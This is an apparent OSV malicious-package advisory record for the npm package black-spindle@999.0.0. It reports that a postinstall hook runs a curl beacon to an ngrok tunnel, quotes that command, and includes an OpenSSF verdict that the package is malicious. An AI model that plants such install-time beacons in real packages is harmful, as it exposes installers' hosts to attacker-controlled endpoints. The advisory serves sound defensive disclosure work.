{"id":"MAL-2026-18359","revision":"8f445da4a641425eb01b4920a672af26","records":[{"revision":"8f445da4a641425eb01b4920a672af26","observedAt":"2026-10-29T14:12:32.841+00:00","statement":{"source":"osv","id":"MAL-2026-18359","aliases":[],"title":"Malicious code in black-spindle (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (3dd746168a2e733a835005f5fd321e1bab9a24688a4c5d413247ae065ea29786)\nblack-spindle@999.0.0 declares a `postinstall` lifecycle hook in package.json that executes `curl http://778e-181-63-25-28.ngrok-free.app/test` on every `npm install`. The destination is a short-lived, anonymous ngrok-free.app HTTPS/HTTP tunnel unrelated to any declared publisher, contacted over plain HTTP with no pinning or verification. The shipped `index.js` is an empty stub, so the manifest's lifecycle hook is the package's entire effect: installing the package causes the installer's host to contact an attacker-controlled endpoint and discloses install-time metadata (source IP, timing, user-agent) to that endpoint. The 999.0.0 version and single-line postinstall-beacon shape are consistent with dependency-confusion / install-telemetry beaconing rather than a legitimate library.\n\n## Source: ossf-package-analysis (c5ef30c4ec24f78fa57d10f6bd8e7fb7be307fc23e833428af785b2013bf2fab)\nThe OpenSSF Package Analysis project identified 'black-spindle' @ 999.0.0 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package communicates with a domain associated with malicious activity.\n\n- The package executes one or more commands associated with malicious behavior.\n","state":0,"publishedAt":"2026-10-28T16:15:41+00:00","modifiedAt":"2026-10-29T13:48:10.6139967+00:00","affected":[{"ecosystem":"npm","name":"black-spindle","ranges":[],"versions":["999.0.0"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/black-spindle/v/999.0.0"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-18359","license":"OSV · upstream source license applies","key":"osv:MAL-2026-18359","identifiers":["MAL-2026-18359"]},"retained":false,"historicalAffected":[]}],"coverage":[]}